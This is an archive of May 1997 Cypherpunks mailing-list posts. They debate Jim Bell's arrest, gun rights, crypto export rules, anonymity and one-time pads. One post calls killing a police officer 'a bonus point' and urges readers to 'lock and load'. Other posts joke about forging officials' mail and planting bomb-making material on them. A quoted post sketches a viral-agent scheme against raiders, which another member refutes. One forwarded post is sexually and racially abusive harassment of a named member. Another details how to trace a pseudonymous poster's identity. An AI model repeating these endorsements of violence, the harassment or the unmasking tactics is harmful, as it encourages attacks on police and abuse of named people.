You misspelled it.  It's the People's Republik of Amerika.  So where's 
the Save Jim fund?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 04:53:34 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <Pine.GSO.3.95.970520114056.20181A-100000@nebula>
Message-ID: <Pine.SUN.3.91.970521164239.1337Q-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Jyri Kaljundi wrote:

> So how useful are things like e-mail messages and newsgroup postings in
> court? Can e-mail really be used as court evidence and has it actually
> been used in any cases? It might probably differ in different coutries and
> states, but there must be some generl opinion about this. Is it may be up
> to the police / court to decide if a message is really written by someone
> who's name is under there. You can easily forge e-mail, mail headers and
> mail logs. 


Well then we should forge mail from the likes of Janet Reno and post it to
the list.  Where's Vulis when you need him...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 05:21:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Hey, what does this mean?
In-Reply-To: <v03007804afa7d8fc47e2@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970521165206.1337R-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


Okay, that does it.  Let's get the AOL disks out, copy bomb making 
material on them and mail them to Janet Reno and the like, then call the 
feds on them all. :)

On Tue, 20 May 1997, Tim May wrote:

> Anybody know what this means?
<...> 
>
> According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> Arlington Circuit Court with one felony count of possession of bomb-making
> instructions and one misdemeanor count of resisting arrest. According to
> DeGongue, there were indications found in the home that Aaron had also
> talked about nuclear weapons and terrorism with others, which could open
> the door for more charges to be filed.
<..>
> 
> Arlington detectives, to say, "This is outrageous. I'm a well-respected
> member of the Cosmos Club and the Bohemian Club! I am establishing the
> world's crypto policy and I fly to capitals around the world. I'm not some
> two-bit militia member like that guy arrested out in Portland for talking
> about sabotaging computers! What do you think this is, Soviet Russia?"

It's getting there...  Seems the fascists left Russia and took over 
Amerika.  As for the "guy in Portland", welp, if higher ups get the same 
treatment, then maybe we can turn the tied.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 22 May 1997 04:15:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007800afa7b7bc7809@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970521162124.1854A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Indeed, but the great bulk of people ("the masses") have almost never
> cared. They are going about their daily lives, trying to earn a living, and
> so on. That the distant government is suppressing others is usually of
> little concern to them. Nearly all revolutions are initiated and led by
> elites...I see no reason to expect this to different in "Techno-Revolution."

Yes, 

It is indeed surprising that more revolutions are not perpetrated by a 
large proportion of the population, although normally of course it is the 
case that once the ball is set rolling by a small group the rest of the 
sheeple join in, safety in numbers. This is of course mentioned in "the 
theory of oligarchival collectivism", the "sub-book" in Orwells 1984, 
where he mentions the impossibility of the proles rebelling because they 
are too concerned with the drudgery of their own lives to understand or 
care about the greater issues at stake within a society.
 
> Also, the "boiling a frog slowly" metaphor comes to mind...most people have
> little idea how the vise has tightened. And in the case of "gun rights,"
> most Americans are apparently of the opinion that their lives will be safer
> if all guns are banned.

Of course, nearly all guns are banned in the UK now, this did not 
directly affect me as I rarely used to shoot handguns, preferring rifle 
and shotgun.

The assumption that this will save a large number of lives is false of 
course, the government, when justifying this (which really wasn`t needed 
as the population at large were calling for banning of guns anyway), 
cited the statistic that more murders are commited with licensed guns 
than illegal ones, of course, if someone wants to murder someone they 
will always find a way, whether it is obtaining a gun illegally or using 
another weapon of some kind.

Really though this is irrelevant, this is why I objected to a number of 
the points raised at the time along the lines of "such a ban will be 
innefective", of course it will, but that is really not the point. The 
right to own a gun is a fundamental one, guns are one of our last levels 
of protection against government.

> (Which may be true, if _all_ guns were banned. Speaking hypothetically. And
> not necessarily proven (knives are notoriously effective, too, so it's not
> at all clear that violent deaths would diminish much.) But not all guns
> could ever be banned, and criminals would then have a major advantage of
> the defenseless. 

This is the case in the UK, where the carrying of ANY weapon by a member 
of the public (even something completely defensive, such as a can of 
mace) is illegal. I don`t recall particular instances, but I do remember 
several instances of people being prosecuted for assult when they had 
been defending themselves.

> And there's the little matter of reimbursing folks like me for the value of
> our guns, our reloading supplies, our gun magazines and books, and our
> "invested time." In other words, they want to take my guns, acquired
> legally, they'd better be prepared to remimburse me what I think all this
> stuff is worth (which they won't), and guarantee that criminals won't have
> guns (which they can't). 

After the Hungerford killings in about 1985 (when Michael Ryan killed 
about 10 to 20 civilians with a collection of rifles) the UK government 
banned all automatic rifles and other weapons like Uzi`s etc... Many of 
those who had their guns stolen by the state after this have still not 
been compensated (as if that made any difference).

We are under assult from the state in all respects, self defence is the 
only option.

> This is all separate from the clear language of
> the Second, of course. "When only cops have guns, how do you kill the cops
> who need killing?" (As some surely do, as the various cases of justifiable
> self-defense against cops, rogue or otherwise, make clear.)

Indeed, how is it always that the state justifies the behaviour of their 
employees (ie. our employees) by describing them as "rogue cops"... 
Presumably a state authorised beating of an anarchist or other 
politically undesirable person is justifiable, but a white cop beating up 
a black man is completely inexcusable...

> I don't know how it is the UK, but in the US it's fairly easy to have
> someone committed "for psychiatric evaluation" (observation). A Santa Cruz
> County Sherriff's Deputy told me once on the phone that my opinions could
> indicate that I was of unstable mind...his clear hint to me was that he
> could have me committed for a 48-hour stay in one of the local psychiatric
> prisons^H^H^H^H^H^H hospitals. 

I remember a few years ago being refused a shotgun licence because I had 
been "evaluated", it did not seem to concern the firearms division of the 
police force that I had been declared totally sane and "normal" after 
this "evaluation" (which, incidentally, only took the psychiatrist around 
20 minutes). As usual, the reason I was under suspicion at the time 
was because of my political opinions and because of some comments I had made.
When I re-applied the next year I was granted a licence, presumably they 
felt that at the time, when the police had to give a reason for refusing 
a certificate, they could not win a court challenge. I have my suspicions 
that when my certificate comes up for renewal (next couple of years I 
think) it will be revoked. Now of course the police do not even have to 
give a reason why they refused a certificate so it is next to impossible 
to challenge a decision in court. 

> Why would he do this? Well, in California
> one loses all rights to own guns for some period of time after such a
> pyschiatric commitment, regardless of the final determination. (I don't
> have a URL handy on this, but it's widely discussed in the guns rights
> groups.)

I`m sure this is the same in the UK, although I cannot be 100% certain, 
of course my "evaluation" did not take the form of a proper commital to a 
mental institution so I was able to obtain a shotgun licence shortly after.

> (I'm a believer that basic constitutional rights should not be taken away,
> even for convicted criminals, except insofar as the actual punishment
> requires. Thus, an imprisoned man loses his rights to move freely, of
> course, and perhaps rights related to this (gun ownership, obviously!). But
> once released, he should not lose his voting rights (which happens to
> convicted felons), gun ownership rights (ditto, for most felonies, as I
> recall), and so on. What would we think if a released prisoner lost his
> First Amendment rights? Or his Fourth, or Fifth? Etc.  (Don't laugh, many
> of these rights are already lost. Some in the process of parole, some even
> after parole ends.)

Absolutely, this is why I dislike the actions many states are taking 
against convicted paedophiles of informing people in the area they move 
to once released from jail. I believe that this is merely a form of 
speech so if the individual state employees choose to do this on their 
own time I have no problem with it, but using taxpayer money to persecute 
people who have served their punishment already leaves me with a bad feeling.

> By the way, one of the advantages of the huge number of things which are
> now felonies gives to the authorities is the ability to pile on a
> horrendous number of charges, some of which may "stick." This gives
> prosecutors bargaining power for pleas, so that they can get convictions
> without length trials.

This is observable all over the world now. There are, of course, two 
distinct advantages for the state in having such a large number of 
felonies, the first is what you mention above, the second that if the 
state chooses to fuck someone over they can always find some law they 
have broken, just about everyone is guilty of some felony or another.

> >Hmm, I don`t think this is really relevant though, it makes no difference
> >whether the discussions are theoretical or practical, they are still
> >valid discussions.
> 
> I agree with this point. Lucky was wrong to imply there's a difference in
> speech rights between "theoretical" and other forms of speech. A crime is a
> crime, of course, but talking about desirable courses of action, political
> outcomes, and so on is of course protected speech.
> 
> (Discussions which are actual criminal conspiracies is a touchy issue, and
> is a marginal area of the law, as near as I can tell. But essentially all
> discussions are protected unless strong evidence is presented that a crime
> is being plotted, and even then the speech is usually protected. Discussing
> tax evasion strategies, for example, has not been successfully prosecuted
> (per se), in any cases I am familiar with. And as Duncan noted, even
> sedition is hard to prove.)

>From a legal point of view I`m sure it is criminal in the UK to be 
involved in the plotting of any crime. From an ethical and moral point of 
view I really see no crime in even the direct plotting of, for example, 
murder, even if you draw up the plans and actual details of the crime. To 
me, the act of agression is perpetrated by A. The murderer himself, and 
B. If it was a hit, the people that hired him.

I have problems with people with auxhilliary roles, like getaway driver 
etc, as I believe although they commit no direct act of agression they 
participate in an active sense in the commision of the crime. This is 
where innocence in conspiracy moves onto shaky ground. 
However, I have no problem at all with saying I believe no speech, no 
matter how specific and intended to facilitate or discuss commision of 
a crime, is wrong.

> >I could not begin to aspire to your collection of rifles and other
> >defensive weapons Tim, but I too have been placing keys to my gun cabinet
> >and shells in convenient places for quick access at one of those "4am
> >black clad ninja just burst through my front door" moments.
> 
> It's a sad state of affairs when the police increasingly resort to the 4
> a.m. Nomex-hooded, no-warnings-issued SWAT-type raids. Readers may recall
> the many stories of innocents killed when they were shocked out of deep
> slumber by "flash-bangs" thrown into their bedrooms and the sudden
> appearance of black-clad ninja raiders.

I personally see no difference between the police breaking into my house 
and anyone else doing the same. If I see someone about to attack me I will 
defend myself by any means necessary. If that means I kill a cop, well 
that`s a bonus point.

> Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
> growing pot on his ranch. He and his wife were startled by the ninjas
> bursting into their bedroom. The doctor reached for a handgun in his
> nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
> raiders. The estate of the doctor is currently suing the LA County
> Sheriff's Department and other agencies, but you know how those things go.
> I know I shock a lot of people by saying this, but I think those involved
> in the raid should be tried on murder charges and, if found guilty,
> executed promptly. And if the court system won't do this, which it
> obviously won't, then the alternative is <CENSORED CENSORED CENSORED
> CENSORED>.

This is quite right, the police had no right to be in his house as he had 
commited no ethical crime, therefore he merely attempted to defend 
himself against people who had broken into his house. If they then shot 
him they are guilty of murder, no question about it.

If the government want a "war on drugs" they can expect a real war, where 
the enemy fight back. 

All of those fortunate enough to be living someone where they are legally 
entitled to obtain defensive weapons, Lock and load.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Thu, 22 May 1997 00:15:43 +0800
To: cypherpunks@algebra.com
Subject: Re: encryption laws
Message-ID: <199705211558.RAA03639@n246-140.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 Jul 1993, Allan Thompson wrote:

>         Would it be possible for a court to subpeona a encrypted file or key,
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

How about claiming that you used a OTP and then revealing the key?
Or should I say a key?

Regards
  Steffen

-- 
home email:  domain: berlin.snafu.de, user: zahn
To send email to me combine user@domain above to construct my address.
Use of my address for unsolicited commercial advertising is forbidden.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 22 May 1997 06:20:40 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Why I think Jim Bell is getting railroaded
In-Reply-To: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
Message-ID: <33837141.2F1C@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> I think that the Government is trying to make an example of Mr. Bell.  I
> think
> that much of the charges reported in the news are flase.
> 
> Here is why...
> 
> 1) They claim that Jim was actively trying to disrupt 911 service and poison
> the Bull Run water supply.  These are non-political targets.  Jim only thinks
> in political targets. 

He only mouths off on cypherpunks about FBI agents and such but 
I know a lot of terrorists who consider the 911 system a political
target. The UVF in Ulster blew up a dam (so they could blame it on
the IRA). 

I would not depend on Bell to any extent in any circumstance to
be reliable.



> 2) The warrent is sealed, yet the media is reporting all sorts of things  about
> the case.  Where is the information coming from?  

Who says they have any at all? The US press does not need
information to publish articles. Bell has published his stuff
very widely.


> 3) The suspected crimes list keeps changing.  How many times has the
> "official" story changed?  Each time it gets more and more lurid.  

Expanding is the word. Put someone under a microscope and you
are liable to find out quite a bit about them. 

Bell is not the kind of loon to stick one's neck out for. It may
well be that he did not explicitly advocate murder but he danced
awfully close to that line. My understanding is that the original
charge relates to statements made in person that were interpreted 
as threatening. Each act individually may not amount to a 
criminal act but together they could well do so.

For example in the 1970s a series of articles was written
under the pen-name "Brownie" advocating the "Ballot Bomb"
strategy in which political action would be used to compliment a
terrorist campaign. Now it is arguable that the articles were or
were not protected speech under the first amendment but consider 
the situation if that person were to say to someone such as a policeman 
"I know how to fix you". If as would be quite likely the policeman 
was aware of the "Brownie" letters the intent to communicate a
threat of murder would be quite plain.

Before charging to the rescue its a good idea to make sure
that you are rescuing the right person. Government agents
also have the right not to be threatened with murder.


The first amendment has never been interpreted as making
threatening speech or fraud legal, even by those such as
Jefferson who argued against libel laws.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 22 May 1997 02:28:24 +0800
To: stewarts@ix.netcom.com
Subject: Re: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970520201249.007327b8@popd.ix.netcom.com>
Message-ID: <199705211722.SAA01807@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> At 11:44 AM 5/18/97 +0100, Adam Back wrote:
> >> I don`t recall what the situation is in the US, is it the case that
> >> the provider of the information is guilty of export, or the person
> >> that actually downloads it, if it is available via anonymous FTP???
> 
> >The downloader by definition is restricted by his own national laws
> >not by US laws.  US attempted world policeman attitude does not mean
> >that US laws apply outside the US, particularly not to non-US citizens
> >outside the US.
> 
> They may apply to you anyway

I was arguing that US laws do not apply to me living outside the US.
The US courts/government may claim otherwise but this does not alter
that fact.

Where international agreements have been agreed the laws become part
of the legal framework of the agreeing countries.

Extradition is another method, but people normally only get extradited
from their own country if they commit a crime against a citizen of the
extraditing country.

And finally kidnap, the fact that this is an extra-legal process does
not bother the US.  (In fact they even declare it legal if they
consider it appropriate, as I understand it.)

> - they're not very enforceable if you're outside US territory,
> though if you try to visit the US once they've pegged you as a
> crypto-terrorist aider-and-abetter of drug smugglers, money
> launderers, child pornographers, and Commies, they could give you a
> hard time.  Just because you haven't been caught YET doesn't make
> you innocent :-)

For the sake of argument if I were detained at a US airport, or
kidnapped and taken to the US, and further was found to be "guilty" as
defined by US law, I would not be guilty, and I would hope that my
country would attempt to intervene.

The reality of all this is strained however because, a) they wouldn't
extradite someone, nor kidnap them for this, b) they wouldn't detain
me if I entered the US (I did last year with no ill effects), c) I am
having difficulty imagining what it is they could legitimately charge
me with, even by US standards of legitmacy with regard to crypto
export.  I attempted to _import_ a piece of software into the UK, no
crime there.

> Remember the Canadian author / Disney hero Farley Mowat?  
> He once got annoyed enough at the US military for flying nuclear-armed
> bombers over Canada that he shot at some as they crossed the border.
> Sure, his .22 caliber rifle wasn't going to hit a plane at 30,000 feet,
> and he was just making a political statement by it, but he was
> banned from the US for years.

I suspect it would be dodgy shooting at military aircraft in Canada
also.  In the UK, and most of EU (with the exclusion of France), we
can export electronically (on the web etc) to our hearts content.  The
situation with tangible exports, at least in the UK, is different.  I
understand you need a license to export tangibly.  I was unaware of
this at the time I started exporing T-shirts, but I'm aware of it now,
and have no particular intention of ceasing to export T-shirts.  If
they want to do something about it and make a media spectacle of
themselves, they're most welcome to try :-)

Actually I took a couple of my munitions T-shirts with me when I went
to the US last year, and bought them back out with me.  I was wearing
one of them (under another garment) through the airport as I left.
Again if the US would like to try something, the next time I'm there
they are welcome to try.

Unfortunately perhaps it appears, at least according to Peter Junger
that the T-shirts are probably OK now under the EAR regulations being
printed material, whilst I think he held that they would be
technically a violation under ITAR.  ITAR was the active regulation at
the time.

> >Self appointed world policemen are fooling themselves if they think
> >they have any control over bit flow.
> 
> As long as it keeps Americans from using strong crypto on an 
> everyday basis, for everything, and from taking the attitude that
> their privacy is their own business, it's working.
> Doesn't matter if a few foreign spies can talk to each other.

True enough.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 22 May 1997 02:19:52 +0800
To: stewarts@ix.netcom.com
Subject: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <199705211739.SAA01823@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> 	[rant deleted - bill]
> >Speaking of power corrupting, notice how the power to speak 
> >anonymously has destroyed this poor souls brain.

Kent, I think you would find that Attila would be perfectly happy to
include his map coordinates, phone number, full name and address and
repeat his views to you, or to repeat them to your face, aside from
the privacy considerations.

> Attila's not anonymous - he's a regular poster, and has been
> for long enough to build up some reputation around his penname.

I'm not sure how anonymous Attila is in total.  He made a comment on
this with regard to Black Unicorn's anonymity a short while back.  I'm not
sure he's trying to hide his identity to that great a degree beyond
using a nick name that some folks gave him years back.  There are
several things which would help you track details down... he has
regularly discussed his local mormon community, the location in which
he lives, and his own domain "hun.org", his position within the local
mormon church, his big bore 'bike, physical appearance (300lb gorilla
I think is his own description), nationality, qualifications, military
service details, etc.  A whois on hun.org would likely get you his
phone number, or someone who would know his phone number.  His
primenet account would probably similarly get you info.  Unless he
uses aliases in real life also, and unless the details he has given us
over the years are not true.  (I haven't met him, though I think
others have).

In short I believe you picked on the wrong guy if you considered
Attila an example of someone with lots to say when hiding behind
strong anonymity.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 09:54:23 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <19970521184119.00519@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 11:41:08AM -0800, Tim May wrote:
> 
[...]
> I almost never think government agents, even most rulers, are in any
> meaningful sense "evil."

Ah, good.  Sanity has returned for a moment.

> I've written in the past about "institutional" issues, and about
> Nietzsche's "Beyond Good and Evil." The problems in the United States, with
> bloated welfare roles, a "policeman for the world" mentality, an overly
> litigous/litigious society, etc., come not from any personal evil on the
> part of the elected or appointed officials, but rather from an inexorable
> growth of certain institutions in predictable ways. Any enity, be it an
> organism or an institution, a living plant like a tree or a corporation
> like PGP, Inc., grows and thrives by how well it competes, how well it
> bends toward the sources of food and energy, and what genes or memes it
> received. "The purpose of any organism is to survive" is a telelogical
> truism, of course. But it is still true. All institutions--corporations,
> clubs, Cypherpunks--seek to prosper and grow, in various ways. Even if not
> directed by a central nervous system.
> 
> In corporations, even individual departments seek to grow. This aids in
> career advancement. "Empire building" happens with countries, government
> bureaucracies, corporations, clubs, and so on.
> 
> There are perfectlylogical game-theoretic reasons why the Washington
> bureaucracy has gotten so large, why every one of the 500+ Congresscritters
> has a staff of dozens working for him or her, why each of the dozen or so
> major Cabinet departments has dozens of buildings and thousands (even
> millions, as with DoD) of worker bees, why each entity in government seeks
> constantly to expand its scope and powers, and why the number of rules,
> regulations, laws, emergency orders, and edicts expands inexorably every
> day.
> 
> "Evil" is not a useful way to analyze this problem. In this sense, everyone
> in government is an "innocent." But the problem still needs to be fixed.

I don't think this problem can be "fixed" in any meaningful way.  You
just argued that the problem is a consequence of "perfectly logical
game-theoretic reasons".  There is nothing in the crypto-anarchy
agenda or your revolutionary rhetoric that are going to make those
game-theoretic reasons go away.  "Meet the new boss, same as the old
boss".  The new boss may hide behind a cryptographic curtain, but he
will still scheme and plot to expand his power, and join with his
allies to attack his enemies, and after he has defeated those enemies
he will attempt to stab his allies before they stab him.  Thus it is 
with you; thus it is with me; thus it is with humanity.

Americans especially are spoiled: the European colonists, like
Darwin's finches, were able to expand freely into a whole virgin
economic ecosystem, and evolve to fit many unoccupied niches.  Now the
niches are full, and competition is hard.  Now those free-ranging
Americans have to deal with diminishing expectations.  All the free
stuff is gone; the pie gets cut into thinner and thinner pieces.  In
every field there are thousands of talented competitors.  In the
compressed time of high tech we now see patents on trivial and
picayune ideas that not too many years ago would have been considered
too obvious to bother with.  Groups of 40 scientists coauthor papers
concerned with esoteric minutia.  Musicians scrabble to get "their" 
music copyrighted.  Athletes talk about patenting their "moves".  

The frustrations of the bubba-cypherpunks with their ego-bolstering
arsenals are yet another symptom, same as the bubba-militiamen.  They 
fixate on the "gubmint" as the source of all that's wrong, hatch 
conspiracies, and keep muttering obscenities and veiled threats, until 
their imagined enemies become real.

> And in fixing these institutions it is unavoidable that "non-evil" persons
> will be affected. How could it be otherwise? Some will lose their careers,
> some their current jobs, some may even lose their lives. (No, this is not a
> threat, just a statement of the obvious, a prediction.)
> 
> Innocents in Washington and elsewhere will, if they have any sense of their
> own future security, seek to avoid the institutions and power centers which
> will be affected by the necessary restructurings.

My friend, we are on this train together.  If it wrecks we are all at
risk.  You can hide in your abatis on your hill, but the protection it
offers is a complete and utter illusion.  There isn't going to be any
"restructuring" that doesn't affect us all.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bose <abose@tc.cac.edu.eg>
Date: Thu, 22 May 1997 00:07:58 +0800
To: cypherpunks@toad.com
Subject: Mailing List
Message-ID: <1347881886-2060089@tc.cac.edu.eg>
MIME-Version: 1.0
Content-Type: text/plain


Put me on your mailing list, please.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Thu, 22 May 1997 08:05:51 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re:  Poison Pill Defense (fwd)
Message-ID: <199705212356.SAA22445@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Peter Trei -----

>From cpunks@manifold.algebra.com  Wed May 21 09:12:25 1997
Message-Id: <199705211410.KAA03539@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: cypherpunks@algebra.com
Date: Wed, 21 May 1997 10:21:43 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re:  Poison Pill Defense
Reply-to: trei@process.com
CC: trei@www.video-collage.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

nobody@huge.cajones.com (Huge Cajones Remailer) writes:
> 
> I hear from anonymous correspondents that the following
> technique has been successfully deployed among some militia
> members and cypherpunks who fear raids on their private
> property.  Apparently the technique was originally invented
> by a biotech lab that the FDA was planning to shut down in an
> uncivil manner when Kessler first came to power.  The
> lab was never raided.
 
> Preliminary: choose a suitable viral agent.  [...]

> Step one: immunize household members against this agent.

Several things come to mind in reading this.

1. This has *no* crypto-related content.

2. This guy has been watching too many re-runs of 'Mission 
Impossible'. The scheme is Rube-Goldberg and full of potential
failure modes, ranging up to and including the accidental 
death of the implementor and his/her household. The techniques
involved are complex, difficult, dangerous, and expensive. 

3. This is not a 'defense'. 

* It won't stop a raid; if it's deployment is kept secret, 
  it's deterrence value is zero. If it's deployment is 
  publicized, then it is ineffective, since the raiders 
  will take appropriate countermeasures (and announcement
  of it's deployment is *very* good grounds for a raid).

* It won't work to conceal whatever you had that was worth 
  concealing, in the event of a raid.

All it is a scheme for getting petty vengence, and even 
if works perfectly, will get you murder or attempted 
murder charges tacked onto whatever you were raided for.

Only an idiot (such as our anonymous poster) would even 
think of deploying such a scheme. 

4. If I were an agent provocateur, attempting to make the 
members of this list look dangerous, I'd encourage them to
discuss topics like this. Jim Bell's advocacy of AP may have
been legal, but it sure didn't endear him to LEAs.

I seriously suspect that this thread may have been planted
by someone with the intent of discrediting the list.

Peter Trei
Disclaimer: I speak only for myself.
 

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Thu, 22 May 1997 08:09:47 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Hacked, Trashed and Out of Beer (fwd)
Message-ID: <199705212356.SAA22476@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Peter Trei -----

>From cpunks@manifold.algebra.com  Wed May 21 09:20:15 1997
Message-Id: <199705211417.KAA03928@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: cypherpunks@manifold.algebra.com
Date: Wed, 21 May 1997 10:28:32 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Hacked, Trashed and Out of Beer
Reply-to: trei@process.com
CC: trei@www.video-collage.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

Bill Frantz wrote:
> At 6:21 PM -0700 5/20/97, se7en <se7en@dis.org> wrote:
> >Well, I finally managed to catch up on all the email from this list, and
> >managed to also get all of the hacked web sites thus far up on my web
> >page at http://www.dis.org/se7en
> >
> >w-h-i-c-h includes:
> >
> >Amnesty International
> >Central Intelligence Agency
> >East Timor, Indonesia
> >Kriegsman Fur
> >NASA
> >U.K. Labour Party
> >U.S. Air Force
> >U.S. Department of Justice
> 
> Gee, your server sure wants to send a lot of cookies.  I consider receiving
> a cookie before getting a statement, or being able to guess (e.g. WEB
> shopping), about their use to be an unfriendly act.

> Bill Frantz

Netscape 4.x (I'm using beta3, beta4 is now out) includes an option 
to silently refuse all cookies. That alone is enough to make me
put up with it's instabilities.

Peter Trei

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 22 May 1997 09:24:53 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: One-time pads
In-Reply-To: <199705212337.QAA20381@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970521190038.93756A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 21 May 1997, Huge Cajones Remailer wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, 
> fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath 
> to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
> the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a 
> black man responds to one of his inane rants.
> 
>           ^. .^
>           ( @ )
>             c
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
